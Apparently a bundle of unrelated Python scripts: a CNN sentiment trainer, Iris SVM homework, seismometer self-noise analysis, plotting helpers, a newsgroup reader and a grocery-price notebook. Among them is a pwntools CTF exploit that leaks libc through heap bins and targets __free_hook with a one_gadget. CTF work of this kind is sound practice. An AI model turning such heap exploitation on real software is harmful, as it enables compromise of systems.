    if step % options.log_every == 0:
      print('Step={} Tr-Loss={} Tr-Acc={}'.format(step, loss.data[0], acc))
      logFile.write('{},{},{}\n'.format(step, loss.data[0], acc))

    if step % options.eval_every == 0:
      val_err = run_validation(model, validation_data, options)
      validationLog.write('{},{}\n'.format(step, val_err))
      # early stopping
      if val_err < best_val_err:
        best_val_err = val_err
        print('Checkpointing model step={} best_val_err={}.'.format(step, best_val_err))
        checkpoint_model(step, val_err, model, opt, options.model)

      logFile.close()
      validationLog.close()

    if step == options.maxNumSteps:
      print('Completed Training with step={} best_val_err={}.'.format(step, best_val_err))
      break

    step += 1

if __name__ == '__main__':

  # Set a seed for numpy, pytorch
  np.random.seed(0)
  torch.manual_seed(0)

  if torch.cuda.is_available():
    print("Cuda is Available, will try and use it")
  else:
    print("Cuda not available, not able to use")

# Only glove
# create the CNN and train
  parser = argparse.ArgumentParser()
  parser.add_argument('--ids', default=mydir, type=str)
  parser.add_argument('--data', default=os.path.expanduser('data/stanfordSentimentTreebank'), type=str)
  parser.add_argument('--embeddings', default=os.path.expanduser('data/glove/glove.840B.300d.txt'), type=str) # this is the first embedding, please don't change this.
  parser.add_argument('--model', default=os.path.join(mydir, 'model-cnnTweaked-glove.ckpt'), type=str) # this should be the filename the model is saved to
  parser.add_argument('--predictions', default=os.path.join(mydir, 'predictions-cnnTweaked-glove.txt'), type=str) # this is the file name to which predictions will be saved.
  parser.add_argument('--log_every', default=500, type=int) # this will log the training accuracy every # steps
  parser.add_argument('--eval_every', default=4000, type=int) # this will evaluate and provide validation error every # steps
  parser.add_argument('--batch_size', default=64, type=int) # this is the size of a batch sent to the gpu for computation
  parser.add_argument('--eval_only_mode', action='store_true') # this should be set to store_true while training and store_false while testing

  parser.add_argument('--embeddings2', default=os.path.expanduser('data/GoogleNews-vectors-negative300.txt'), type = str) # storing the second embedding allows for combination to happen, please don't change this
  parser.add_argument('--useEmbeddingNumber', default=1, type = int) # this takes value 1, 2 or 3 (1 = glove, 2 = word2vec, 3 = both)

  parser.add_argument('--maxNumSteps', default = 800000, type = int) # this is the number of steps the model will be trained for.

  parser.add_argument('--fineTuned', default = True, type = bool) # make this true for finetuned, false otherwise

  parser.add_argument('--validationFileName', default=os.path.expanduser('model-cnnTweaked-glove-validationTruths.txt'), type = str) # this is the filename required for writing the validation predictions and truth values to a test file for comparison (and analysis)
  parser.add_argument('--stepLogFileName', default=os.path.expanduser('model-cnnTweaked-glove-log.txt'), type = str) # this is the filename where the step number, accuracy and errpr of training will be logged.
  parser.add_argument('--validationLogFileName', default=os.path.expanduser('model-cnnTweaked-glove-val-log.txt'), type = str) # this is the filename where the step number, accuracy and error of validation will be logged.

  options = parser.parse_args()

  print(json.dumps(options.__dict__, sort_keys=True, indent=4))

  run(options)


#!/usr/bin/env python3
from pwn import *
from sys import argv
binary = ELF('yanc', checksec=0)
libc = ELF('libc.so.6', checksec=0)
if len(argv) >= 2 and argv[1] == '-r':
  p = remote('pwn.chal.ctf.gdgalgiers.com', 1406)
else:
  p = binary.process(env={})

def option(*args):
  p.recvuntil(b'Choice')
  for i in args:
    s(str(i).encode(), b':')

s = lambda x, r="" : \
  p.sendafter(r, x) if r else p.send(x)

one_gadget = 0xe6c7e
pause()

# fill tcache and insert into unsortedbin
for i in range(0, 9, 1):
  log.info('Add note #%d'%i)
  option(1, i, 208, 'a', 'a')

# unset used flag for each entry
for i in range(0, 9, 1):
  log.info('Delete note #%d'%i)
  option(4, i)

# reallocate without overwriting information to allow for show_note
for i in range(0, 9, 1):
  log.info('Add note #%d'%i)
  option(1, i, 208, 'a', 'a')

# show chunk 7
option(2, 7)

# leak unsorted bin fd/bk pointer
p.recvuntil(b'Title: ')
libc.address = int.from_bytes(p.recvline().strip(b'\n'), 'little')-0x1ebb61
log.info("Leaked base address of libc: %#lx"%libc.address)
log.info("__free_hook: %#lx"%libc.sym['__free_hook'])

# get ptr to __free_hook
option(3, 7)
s(p64(libc.sym['__free_hook']), b'Title: ')

p.interactive()


import matplotlib.pyplot as plt
import pandas as pd
from sklearn import svm  # sử dụng phân lớp
from sklearn.model_selection import train_test_split  # chú ý
from sklearn.preprocessing import LabelEncoder

# 10a
df = pd.read_csv('../data/Iris.csv')
print(df)
# 10b: chuyển đổi giá trị phạm trù sang nhãn số cho thuận lợi tính toán khi cần
df["Species_num"] = LabelEncoder().fit_transform(df["Species"])
print(df)

x = df[['SepalWidthCm', 'SepalLengthCm', 'PetalLengthCm', 'PetalWidthCm']]
y = df['Species_num']

x0 = x[y == 0]
x1 = x[y == 1]
x2 = x[y == 2]
plt.plot(x0['SepalLengthCm'], x0['SepalWidthCm'], 'b^', markersize=4, alpha=.8)
plt.plot(x1['SepalLengthCm'], x1['SepalWidthCm'], 'go', markersize=4, alpha=.8)
plt.plot(x2['SepalLengthCm'], x1['SepalWidthCm'], 'r^', markersize=4, alpha=.8)

plt.xlabel('Sepal length')
plt.ylabel('Sepal width')
plt.title('Nhãn lớp 0,lớp 1 và lớp 2')
plt.plot()
plt.show()
# 10c.
x_train, x_test, y_train, y_test = train_test_split(x, y, test_size=0.2)
print(x_train)
print(y_train)
# 10d

svc = svm.SVC(kernel='linear', C=1.0).fit(x_train, y_train)
y_pred = svc.predict(x_test)
print('kiem tra trung khop giua y_test và y_pred')
print(y_test - y_pred)

# score_train=svc.score(x_train, y_train)
# print('SVM:score train:',score_train*100,'%')
# score_test=svc.score(x_test, y_test)
# print('SVM:score test:',score_test*100,'%')


import numpy as np
import matplotlib.pyplot as plt
import utilities as util
import dynamics
from matplotlib.animation import FuncAnimation
from matplotlib.backends.backend_pdf import PdfPages
from param import param
import os

def show():
	plt.show()

def save_figs():
	fn = os.path.join( os.getcwd(), param.get('fn_plots'))

	pp = PdfPages(fn)
	for i in plt.get_fignums():
		pp.savefig(plt.figure(i))
		plt.close(plt.figure(i))
	pp.close()

def plot_SS(X,T, title = None, fig = None, ax = None):

	if fig is None:
		fig, ax = plt.subplots()
		plt.axis('equal')

	if title is not None:
		plt.title(title)

	# plot agents
	for i in range(param.get('na')):
		P_i = np.dot( \
			util.get_p_i(i), X).transpose()

		# plot trajectory
		ax.plot( P_i[:,0], P_i[:,1], color = param.get('AgentColor'))
		ax.scatter( P_i[0,0], P_i[0,1], color = param.get('AgentColor'),
			marker = param.get('start_marker'))
		ax.scatter( P_i[-1,0], P_i[-1,1], color = param.get('AgentColor'),
			marker = param.get('stop_marker'))

def plot_ss(x,t, title = None, fig = None, ax = None):

	if fig is None:
		fig, ax = plt.subplots()
		plt.axis('equal')

	if title is not None:
		plt.title(title)

	# plot agents
	for i in range(param.get('na')):
		p_i = np.dot( \
			util.get_p_i(i), x)

		# plot trajectory
		ax.scatter( p_i[0], p_i[1], color = param.get('AgentColor'),
			marker = param.get('stop_marker'))

	p_i = dynamics.get_xl(x,t)[0:param.get('nd')]
	ax.scatter( p_i[0], p_i[1], color = param.get('LeaderColor'),
		marker = param.get('stop_marker'))
	p_i = dynamics.get_xb(x,t)[0:param.get('nd')]
	ax.scatter( p_i[0], p_i[1], color = param.get('BasisColor'),
		marker = param.get('stop_marker'))

def plot_VsTx( delta, T, title = 'VsTx'):

	fig, ax = plt.subplots()
	plt.imshow( np.abs(delta))
	plt.colorbar()

def plot(T,X, title = None, fig = None, ax = None):
	if fig is None or ax is None:
		fig, ax = plt.subplots()
	plt.plot( T,X)
	if title is not None:
		plt.title(title)

def make_fig():
	fig, ax = plt.subplots()
	plt.axis('equal')
	return fig, ax


#!/usr/bin/env python
import argparse
import sys
import math
import pickle
import numpy as np

from obspy.core import UTCDateTime, read, Stream
from obspy.signal import PPSD
from obspy.signal.invsim import paz_to_freq_resp
from obspy.signal.spectral_estimation import get_nlnm, get_nhnm
from matplotlib.mlab import csd
from math import pi
from matplotlib.pyplot import (figure,axes,plot,xlabel,ylabel,title,subplot,legend,savefig,show,xscale, xlim)

###############################################################################
#Code to do Sleeman self-noise
#By Adam Ringler
#This code takes data along with an instrument type and make a self-noise plot
#
#Here are the current methods
#getpaz()
###############################################################################

def getpaz(sensor):
#Function to get the poles and zeros
#Input the sensor type
#Output is a paz object
	debugpaz = False
	if debugpaz:
		print('Sensor type: ' + sensor)
	if sensor == 'T-120':
		paz = {'gain': 8.318710*10**17, 'zeros': [0 + 0j, 0 + 0j, -31.63 + 0j,
			-160.0 + 0j, -350.0 + 0j, -3177.0 + 0j], 'poles':[-0.036614 + 0.037059j,
			-0.036614 - 0.037059j, -32.55 + 0j, -142.0 + 0j, -364.0  + 404.0j,
			-364.0 - 404.0j, -1260.0 + 0j, -4900.0 + 5204.0j, -4900.0 - 5204.0j,
			-7100.0 + 1700.0j, -7100.0 - 1700.0j], 'sensitivity': 3.4153*10**18}
	elif sensor == 'T-120PH':
		paz = {'poles': [-0.03859+0.03649j, -0.03859-0.03649j, \
			-190, -158+193j, -158-193j, -639+1418j, -639-1418j], \
			'zeros': [0,0,-106,-158], \
			'sensitivity': 1201.0*1.695*(10**9)*(2**26)/40}
	elif sensor == 'TC-Reftek':
		paz = {'gain': 8.184*10**11, 'zeros': [0 + 0j, 0 + 0j, -434.1 + 0j],
			'poles':[-0.03691 + 0.03712j, -0.03691 - 0.03712j, -371.2 + 0j,
			-373.9  + 475.5j, -373.9 - 475.5j, -588.4 + 1508.0j, -588.4 - 1508.0j],
			'sensitivity': 4.7143*10**8}
	elif sensor == 'STS-2HG':
		paz = {'gain': 5.96806*10**7, 'zeros': [0, 0], 'poles': [-0.035647 - 0.036879j,
			-0.035647 + 0.036879j, -251.33, -131.04 - 467.29j, -131.04 + 467.29j],
			'sensitivity': 3.355500*10**10}
	elif sensor == 'STS-4B':
		paz = {'gain': 5.96806*10**7, 'zeros': [0, 0], 'poles': [-0.035647 - 0.036879j,
			-0.035647 + 0.036879j, -251.33, -131.04 - 467.29j, -131.04 + 467.29j],
			'sensitivity': 2.5166*10**9}
	elif sensor == 'CMG-3T':
		paz = {'gain': 5.71508*10**8, 'zeros': [0, 0], 'poles': [-0.037008 - 0.037008j,
			-0.037008 + 0.037008j, -502.65, -1005.0, -1131.0],
			'sensitivity': 3.3554*10**10}
	elif sensor == 'KS-54000':
		paz = {'gain': 86298.5, 'zeros': [0, 0], 'poles': [-59.4313,
			-22.7121 + 27.1065j, -22.7121 + 27.1065j, -0.0048004, -0.073199],
			'sensitivity': 3.3554*10**9}
	elif sensor == '151-120':
		paz = {'gain': 60828500, 'zeros': [0, 0, -18.18], 'poles': [-772.03,
			-20.9581, -180.3310 + 189.922j, -180.3310 - 189.922j,
			-0.0370184 + 0.0370296j, -0.0370184 - 0.0370296j],
			'sensitivity': 2.0*10**3}
	elif sensor == 'STS-1':
		paz = {'gain': 3948.58, 'zeros': [0, 0], 'poles': [-0.01234 - 0.01234j,
			-0.01234 + 0.01234j, -39.18 - 49.12j, -39.18 + 49.12j],
			'sensitivity': 3.3554432*10**9}
	elif sensor == 'M2166':
		paz = {'gain': 3948.58, 'zeros': [0, 0], 'poles': [-0.01234 - 0.01234j,
			-0.01234 + 0.01234j, -39.18 - 49.12j, -39.18 + 49.12j],
			'sensitivity': 1.00663296*10**9}
	else:
		paz={'gain': 1, 'zeros': [1 + 0j], 'poles': [1 + 0j], 'sensitivity': 1}

	if debugpaz:
		print(paz)
	return paz

def computeresp(resp,delta,lenfft):
	respval = paz_to_freq_resp(resp['poles'],resp['zeros'],resp['sensitivity'],t_samp = delta,
		nfft=lenfft,freq = False)
	respval = np.absolute(respval*np.conjugate(respval))
	respval = respval[1:]
	return respval

def cp(tr1,tr2,lenfft,lenol,delta):
	sr = 1/delta
	cpval,fre = csd(tr1.data,tr2.data,NFFT=lenfft,Fs=sr,noverlap=lenol,scale_by_freq=True)
	fre = fre[1:]
	cpval = cpval[1:]
	return cpval, fre

def choptocommon(stream):
#A function to chop the data to a common time window
	stimes = []
	etimes = []

	for trace in stream:
		stimes.append(trace.stats.starttime)
		etimes.append(trace.stats.endtime)
	newstime = stimes[0]
	newetime = etimes[0]

	for curstime in stimes:
		if debug:
			print(curstime)
		if curstime >= newstime:
			newstime = curstime

	for curetime in etimes:
		if debug:
			print(curetime)
		if curetime <= newetime:
			newetime = curetime

	if debug:
		print(newstime)
		print(newetime)
		print(stream)
	for trace in stream:
		trace.trim(starttime=newstime,endtime=newetime)
	if debug:
		print(stream)
	return stream

def getargs():
#Start up the parser
	parser = argparse.ArgumentParser(description='Program to make self-noise plots')

	parser.add_argument('-s1','--sensor1', type = str, action = "store", dest="sensorType1", \
		default = '', help="Type of Sensor  possible sensors include: " + "STS-1 " + "M2166 " + \
		"151-120 " + "KS-54000 " + "STS-4B " + "CMG-3T " + "STS-2HG " + "T-120 " + "TC-Reftek " \
		, required = False)

	parser.add_argument('-s2','--sensor2', type = str, action = "store", dest="sensorType2", \
		default = '', help="Type of Sensor  possible sensors include: " + "STS-1 " + "M2166 " + \
		"151-120 " + "KS-54000 " + "STS-4B " + "CMG-3T " + "STS-2HG " + "T-120 " + "TC-Reftek " \
		, required = False)

	parser.add_argument('-s3','--sensor3', type = str, action = "store", dest="sensorType3", \
		default = '', help="Type of Sensor  possible sensors include: " + "STS-1 " + "M2166 " + \
		"151-120 " + "KS-54000 " + "STS-4B " + "CMG-3T " + "STS-2HG " + "T-120 " + "TC-Reftek " \
		, required = False)

	parser.add_argument('-v','--verbose',action = "store_true", dest = "debug", \
		default = False, help="Run in verbose mode")

	parser.add_argument('-d1','--data1',type = str, nargs='+', action = "store", dest = "data1", \
		default = '', help="Data for PDF", required = True)

	parser.add_argument('-d2','--data2',type = str, nargs='+', action = "store", dest = "data2", \
		default = '', help="Data for PDF", required = True)

	parser.add_argument('-d3','--data3',type = str, nargs='+', action = "store", dest = "data3", \
		default = '', help="Data for PDF", required = True)

	parser.add_argument('-len', type = int, action = "store", default=20000, \
		help="Length of PSD window in seconds default=20000 s", \
		required=False, dest = "len")

	parser.add_argument('-overlap', type = float, action = "store", default=0.5, \
		help="Overlap of windows default=0.5", \
		required=False, dest = "overlap")

	parser.add_argument('-minper', type = float, action = "store", default=0.01, \
		help="Lower period limit default=0.01 s", \
		required=False, dest = "minper")

	parser.add_argument('-maxper', type = float, action = "store", default=1000.0, \
		help="Upper period limit default=1000.0 s", \
		required=False, dest = "maxper")

	parserval = parser.parse_args()
	return parserval

parserval = getargs()

if parserval.debug:
	debug = True
else:
	debug = False

#Get the response
if debug:
	print('Here is the sensor 1:' + parserval.sensorType1)
	print('Here is the sensor 2:' + parserval.sensorType2)
	print('Here is the sensor 3:' + parserval.sensorType3)

try:
	pazval1 = getpaz(parserval.sensorType1)
	pazval2 = getpaz(parserval.sensorType2)
	pazval3 = getpaz(parserval.sensorType3)
except:
	print('Can not get the responses for the instruments')
	sys.exit()

#Read in the data
try:
	st = Stream()
	for dataString in parserval.data1:
		if debug:
			print('Reading in the data trace 1:' + dataString)
		st += read(dataString)
	for dataString in parserval.data2:
		if debug:
			print('Reading in the data trace 2:' + dataString)
		st += read(dataString)
	for dataString in parserval.data3:
		if debug:
			print('Reading in the data trace 3:' + dataString)
		st += read(dataString)

	st.merge()

except:
	print('Unable to read the data')
	sys.exit()

if debug:
	for tr in st:
		print('Here is the data stream: ' + str(tr))
	print('Here is the window length of your PSDs: ' + str(parserval.len))
	print('Here is the overlap: ' + str(parserval.overlap))

st = choptocommon(st)
delta = st[0].stats.delta

try:
	inst1resp = computeresp(pazval1,delta,parserval.len)
	inst2resp = computeresp(pazval2,delta,parserval.len)
	inst3resp = computeresp(pazval3,delta,parserval.len)

	p11, _ = cp(st[0],st[0],parserval.len,parserval.overlap,delta)
	p22, _ = cp(st[1],st[1],parserval.len,parserval.overlap,delta)
	p33, _ = cp(st[2],st[2],parserval.len,parserval.overlap,delta)

	p21, _ = cp(st[1],st[0],parserval.len,parserval.overlap,delta)
	p13, _ = cp(st[0],st[2],parserval.len,parserval.overlap,delta)
	p23, fre1 = cp(st[1],st[2],parserval.len,parserval.overlap,delta)

	n11 = ((2*pi*fre1)**2)*(p11 - p21*p13/p23)/inst1resp
	n22 = ((2*pi*fre1)**2)*(p22 - np.conjugate(p23)*p21/np.conjugate(p13))/inst2resp
	n33 = ((2*pi*fre1)**2)*(p33 - p23*np.conjugate(p13)/p21)/inst3resp
except:
	print('Unable to compute the spectra')
	sys.exit()

NLNMper,NLNMpower = get_nlnm()
NHNMper,NHNMpower = get_nhnm()

titlelegend = 'Self-Noise: ' + str(st[0].stats.starttime.year) + ' ' + str(st[0].stats.starttime.julday) + ' ' + \
str(st[0].stats.starttime.hour) + ':' + str(st[0].stats.starttime.minute) + ':' + str(st[0].stats.starttime.second) + \
' ' + str(st[0].stats.npts*delta) + ' seconds'
noiseplot = figure(1)
subplot(1,1,1)
title(titlelegend,fontsize=12)
plot(1/fre1,10*np.log10(np.abs(((2*pi*fre1)**2)*p11/inst1resp)),'r',label='PSD ' + st[0].stats.station + ' ' + \
st[0].stats.location + ' ' + st[0].stats.channel + ' ' + parserval.sensorType1)
plot(1/fre1,10*np.log10(np.abs(((2*pi*fre1)**2)*p22/inst2resp)),'b',label='PSD ' + st[1].stats.station + ' ' + \
st[1].stats.location + ' ' + st[1].stats.channel + ' ' + parserval.sensorType2)
plot(1/fre1,10*np.log10(np.abs(((2*pi*fre1)**2)*p33/inst3resp)),'g',label='PSD ' + st[2].stats.station + ' ' + \
st[2].stats.location + ' ' + st[2].stats.channel + ' ' + parserval.sensorType3)
plot(1/fre1,10*np.log10(np.abs(n11)),'r:',label='Noise ' + st[0].stats.station + ' ' + st[0].stats.location + ' ' + \
st[0].stats.channel + ' ' + parserval.sensorType1)
plot(1/fre1,10*np.log10(np.abs(n22)),'b:',label='Noise ' + st[1].stats.station + ' ' + st[1].stats.location + ' ' + \
st[1].stats.channel + ' ' + parserval.sensorType2)
plot(1/fre1,10*np.log10(np.abs(n33)),'g:',label='Noise ' + st[2].stats.station + ' ' + st[2].stats.location + ' ' + \
st[2].stats.channel + ' ' + parserval.sensorType3)
plot(NLNMper,NLNMpower,'k')
plot(NHNMper,NHNMpower,'k')
legend(prop={'size':12})
xlabel('Period (s)')
ylabel('Power rel. 1 (m/s^2)^2/Hz')
xscale('log')
xlim((np.amin(1/fre1), np.amax(1/fre1) ))
savefig('NOISE' + str(st[0].stats.starttime.year) + str(st[0].stats.starttime.julday) + \
	str(st[0].stats.starttime.hour) + str(st[0].stats.starttime.minute) + \
st[0].stats.station + st[0].stats.location + st[0].stats.channel + \
st[1].stats.station + st[1].stats.location + st[1].stats.channel + \
st[2].stats.station + st[2].stats.location + st[2].stats.channel + \
'.jpg', format = 'jpeg', dpi=400)

titlelegend = 'Time Series: ' + str(st[0].stats.starttime.year) + ' ' + str(st[0].stats.starttime.julday) + ' ' + \
str(st[0].stats.starttime.hour) + ':' + str(st[0].stats.starttime.minute) + ':' + str(st[0].stats.starttime.second) + \
' ' + str(st[0].stats.npts*delta) + ' seconds'
tval=np.arange(0,st[0].stats.npts / st[0].stats.sampling_rate, st[0].stats.delta)
tseriesplot = figure(2)
title(titlelegend,fontsize=12)

subplot(311)
title(titlelegend,fontsize=12)
plot(tval,st[0].data,'r',label='TSeries ' + st[0].stats.station + ' ' + \
st[0].stats.location + ' ' + st[0].stats.channel + ' ' + parserval.sensorType1)
legend(prop={'size':12}, loc=2)
xlim((0, np.amax(tval) ))
subplot(312)
plot(tval,st[1].data,'b',label='TSeries ' + st[1].stats.station + ' ' + \
st[1].stats.location + ' ' + st[1].stats.channel + ' ' + parserval.sensorType2)
legend(prop={'size':12}, loc=2)
xlim((0, np.amax(tval) ))
subplot(313)
plot(tval,st[2].data,'g',label='TSeries ' + st[2].stats.station + ' ' + \
st[2].stats.location + ' ' + st[2].stats.channel  + ' ' + parserval.sensorType3)
xlabel('Time (s)')
ylabel('Counts')
legend(prop={'size':12}, loc=2)
xlim((0, np.amax(tval) ))
savefig('TSERIES' + str(st[0].stats.starttime.year) + str(st[0].stats.starttime.julday) + \
	str(st[0].stats.starttime.hour) + str(st[0].stats.starttime.minute) + \
st[0].stats.station + st[0].stats.location + st[0].stats.channel + \
st[1].stats.station + st[1].stats.location + st[1].stats.channel + \
st[2].stats.station + st[2].stats.location + st[2].stats.channel + \
'.jpg', format = 'jpeg', dpi=400)


import bs4 as bs
import json
import os

from factuality.common.config import Config
from factuality.data.twenty_news.datamodels.twenty_news_datum import TwentyNewsDatum
from factuality.data.twenty_news.datamodels.twenty_news_data import TwentyNewsData

file_mapping = {
    'train': '20news-bydate/20news-bydate-train',
    'test': '20news-bydate/20news-bydate-test',
}

class TwentyNewsDataReader():
    def __init__(self):
        super().__init__()
        self._config = Config.instance()

    def twenty_news_data(self, data_type="train"):
        filename = self._config.twenty_news_data_location()
        folder_path = file_mapping[data_type]
        abs_folder_path = os.path.join(filename, folder_path)
        subject_folders = os.listdir(abs_folder_path)
        data = TwentyNewsData()
        for subject_folder in subject_folders:
            abs_subject_folderpath = os.path.join(abs_folder_path, subject_folder)
            articles = os.listdir(abs_subject_folderpath)
            for article in articles:
                abs_article_path = os.path.join(abs_subject_folderpath, article)
                with open(abs_article_path) as f:
                    text = f.read()
                    datum = TwentyNewsDatum()
                    datum.set_text(text)
                    datum.set_label(subject_folder)
                    data.add_datum(datum)
        return data

if __name__ == '__main__':
    twenty_news_data_reader = TwentyNewsDataReader()
    data = twenty_news_data_reader.twenty_news_data()
    print(data.data()[0].to_dict())


#!/usr/bin/env python

import ast, copy
from PyOPC.OPCContainers import *

def create_state_compare(logic, failValue):
	def CheckFailed(cur):
		source = str(failValue) + logic + str(cur)
		node = ast.parse(source, mode='eval')
		return eval(compile(node, '<string>', mode='eval'))
	return CheckFailed

class ProcessObject:
	def __init__(self, name, failValue, cmp_op, depends, next_list, cur=0, state=True):
		self.name = name
		self.dep_list = depends
		self.next_list = next_list
		self.nnodes = []
		self.depends = []
		self.failValue = failValue
		self.state = state
		self.checkFailed = create_state_compare(cmp_op, self.failValue)
		self.cur = cur
		self.dirty = False

	def UpdateState(self, cur):
		self.cur = cur
		if not self.checkFailed(cur):
			self.state = True
		else:
			self.state = False

	def Online(self):
		return self.state


#!/usr/bin/env python
# coding: utf-8

# In[1]:

import pandas as pd
import matplotlib.pyplot as plt
import numpy as np
import random

# In[2]:

'''
This function is used to
read the three files given
'''
def read_files():
    prices = pd.read_csv('prices.csv')
    audit = pd.read_csv('auditors.csv')
    stores = pd.read_json('stores.json')
    return prices,audit,stores

# In[62]:

def write_csv(df):
    df.to_csv('crsstab.csv', sep = '\t')

# In[3]:

'''
This function takes in as input the dataframe, oldname of the column
and new name of the column and rename the old column to new column
and returns the updated dataframe
'''
def rename_column(df,oldname,newname):
    df = df.rename(columns ={oldname: newname})
    return df

# In[4]:

'''
This function is used to join two tables.
It takes as input the two tables to be joined, method of join
and the column id on which join is to be performed.
Returns the merged table
'''

def join_table(table1, table2, method, column_id):
    table = table1.merge(table2, how = method, on = column_id)
    return table

# In[8]:

'''
This function forms the cross tabulation table.
It takes in as input the table, list of values as index, columns which would be
added and the values that the columns will hold.
Returns the cross tabulated table.
'''
def create_crss_tab(table,index_values,columns,values):
    crss_tab_df = table.pivot_table(index = index_values, columns = columns, values = values).reset_index()
    return crss_tab_df

# In[24]:

'''
This function randomly selects 'p' different products from the
fully merged table and store them in a list and returns the list.
'''
def select_random_products(p):
    product = []
    for x in range(p):
        y =random.randint(0,1000)
        product.append(full_mrg.loc[(full_mrg['index'] == y)].iloc[0][7])
    return product

# In[29]:

'''
This function takes as input the dataframe
calculate the interquatile range of the prices per product
and find the maximum and minimum price per product to identify the
outliers. Any outlier data lies outside the 3* Interquatile range.

Returns the dataframe with maximum and minimum prices within which
the prices should lie per product.
'''
def find_max_min_price(df):
    #finding the third quartile
    iqr = df.groupby('UPC').quantile(0.75).drop(columns = ['Store ID'], axis = 1).reset_index()
    iqr = iqr.rename(columns = {'Price':'Third_quartile'})

    #finding the first quartile
    iqr1 = df.groupby('UPC').quantile(0.25).drop(columns = ['Store ID'], axis = 1).reset_index()
    iqr1 = iqr1.rename(columns = {'Price':'First_quartile'})

    #merging the first quartile and the third quatile data frame
    iqr = iqr.merge(iqr1, on = 'UPC')

    # finding the interquartile range
    iqr['IQR'] = iqr['Third_quartile'] - iqr['First_quartile']
    #3 times the interquartile range
    iqr['IQR'] = 3*iqr['IQR']

    #finding the maximum and minimum prices per product
    iqr['Maximum_Price'] = iqr['Third_quartile'] + iqr['IQR']
    iqr['Minimum_Price'] = iqr['First_quartile'] - iqr['IQR']

    #dropping the columns not required
    iqr = iqr.drop(columns = ['Third_quartile','First_quartile','IQR'])
    return iqr

# In[46]:

'''
This function calculates in percent the occurence of
each of the minimum outlier values.
Returns the result as a list
'''

def calc_percent():
    percent_prices = []
    sum_total = minimum_price_df.Price.value_counts().sum()
    for values in minimum_price_df.Price.value_counts():
        percent_prices.append(values/sum_total)
    return percent_prices

# In[35]:

'''
This function returns a list of all the unique values
in a given column of the dataframe.

It takes as input the dataframe and the column whose unique
values are to be found.
'''

def get_labels(df,field):
    labels = []
    for x in df[field]:
        if str(x) not in labels:
            x = str(x)
            labels.append(x)
    return labels

# In[42]:

'''
This function plot the pie chart given the labels and values.
'''

def pie_chart(labels,values):
    colors = ['r', 'g']
    plt.pie(values, labels=labels, startangle=50, autopct='%1.1f%%')
    plt.show()

# In[53]:

'''
This function calculates the mean price per region of previously selected random
products and store it in a list.
Returns the list as a tuple.
'''
def mean_price_per_region():
    north_california = []
    kansas = []
    new_york = []
    texas = []
    for i in range (0,len(product)):
        nc_prc = full_mrg[(full_mrg['UPC'] == product[i]) & (full_mrg['Region'] == 'Northern California') & (full_mrg['Price'] != 1.99) ].agg('mean').Price
        kansas_prc = full_mrg[(full_mrg['UPC'] == product[i]) & (full_mrg['Region'] == 'Kansas') & (full_mrg['Price'] != 1.99) ].agg('mean').Price
        ny_prc = full_mrg[(full_mrg['UPC'] == product[i]) & (full_mrg['Region'] == 'New York') & (full_mrg['Price'] != 1.99)].agg('mean').Price
        texas_prc = full_mrg[(full_mrg['UPC'] == product[i]) & (full_mrg['Region'] == 'Texas') & (full_mrg['Price'] != 1.99)].agg('mean').Price
        nc_prc = nc_prc.item()
        kansas_prc = kansas_prc.item()
        ny_prc = ny_prc.item()
        texas_prc = texas_prc.item()
        north_california.append(nc_prc)
        kansas.append(kansas_prc)
        new_york.append(ny_prc)
        texas.append(texas_prc)
    nc = tuple(north_california)
    tx = tuple(texas)
    kn = tuple(kansas)
    ny = tuple(new_york)
    return nc,tx,kn,ny

# In[54]:

def bplt_price_per_region():
    n_groups = len(product)
    north_california = nc
    kansas = kn
    new_york = ny
    texas = tx

    # create plot
    fig, ax = plt.subplots()
    index = np.arange(n_groups)
    bar_width = 0.15
    opacity = 0.8

    rects1 = plt.bar(index, north_california, bar_width,
    alpha=opacity,
    color='b',
    label='north_california')

    rects2 = plt.bar(index + bar_width, kansas, bar_width,
    alpha=opacity,
    color='g',
    label='kansas')

    rects3 = plt.bar(index + 2*bar_width, new_york, bar_width,
    alpha=opacity,
    color='r',
    label='new_york')

    rects4 = plt.bar(index + 3*bar_width, texas, bar_width,
    alpha=opacity,
    color='y',
    label='texas')

    plt.xlabel('Products')
    plt.ylabel('Price')
    plt.title('Price by Region')
    plt.xticks(index + 3*bar_width, ('P1', 'P2', 'P3', 'P4','P5','P6','P7','P8','P9','P10','P11','P12','P13','P14','P15'))
    plt.legend()

    plt.tight_layout()
    plt.show()

# In[56]:

'''
This function calculates the mean price per store of previously selected random
products and store it in a list.
Returns the list as a tuple.
'''

def mean_price_per_store():
    Walmart = []
    Trader_Joes = []
    Safeway = []
    Whole_Foods = []
    Wegmans = []

    for i in range (0,len(product)):
        walmrt_prc = full_mrg[(full_mrg['UPC'] == product[i]) & (full_mrg['Banner'] == 'Walmart') & (full_mrg['Price'] != 1.99)].agg('mean').Price
        trader_joes_prc = full_mrg[(full_mrg['UPC'] == product[i]) & (full_mrg['Banner'] == 'Trader Joes') & (full_mrg['Price'] != 1.99)].agg('mean').Price
        safeway_prc = full_mrg[(full_mrg['UPC'] == product[i]) & (full_mrg['Banner'] == 'Safeway') & (full_mrg['Price'] != 1.99)].agg('mean').Price
        wholefood_prc = full_mrg[(full_mrg['UPC'] == product[i]) & (full_mrg['Banner'] == 'Whole Foods') & (full_mrg['Price'] != 1.99)].agg('mean').Price
        wegmans_prc = full_mrg[(full_mrg['UPC'] == product[i]) & (full_mrg['Banner'] == 'Wegmans') & (full_mrg['Price'] != 1.99)].agg('mean').Price

        walmart_prc = walmrt_prc.item()
        trader_joes_prc = trader_joes_prc.item()
        safeway_prc = safeway_prc.item()
        wholefood_prc = wholefood_prc.item()
        wegmans_prc = wegmans_prc.item()

        Walmart.append(walmart_prc)
        Trader_Joes.append(trader_joes_prc)
        Safeway.append(safeway_prc)
        Whole_Foods.append(wholefood_prc)
        Wegmans.append(wegmans_prc)

    wlmt = tuple(Walmart)
    tjoes = tuple(Trader_Joes)
    safway = tuple(Safeway)
    wholefood = tuple(Whole_Foods)
    wgmns = tuple(Wegmans)

    return wlmt,tjoes,safway,wholefood,wgmns

# In[58]:

def bplt_price_per_store():
    # data to plot
    n_groups = len(product)
    walmart  = wlmt
    trader_joes = tjoes
    safeway = safway
    whole_food = wholefood
    wegmans = wgmns

    # create plot
    fig, ax = plt.subplots()
    index = np.arange(n_groups)
    bar_width = 0.15
    opacity = 0.8

    rects1 = plt.bar(index, walmart, bar_width,
    alpha=opacity,
    color='b',
    label='walmart')

    rects2 = plt.bar(index + bar_width, trader_joes, bar_width,
    alpha=opacity,
    color='g',
    label='trader_joes')

    rects3 = plt.bar(index + 2*bar_width, safeway, bar_width,
    alpha=opacity,
    color='r',
    label='safeway')

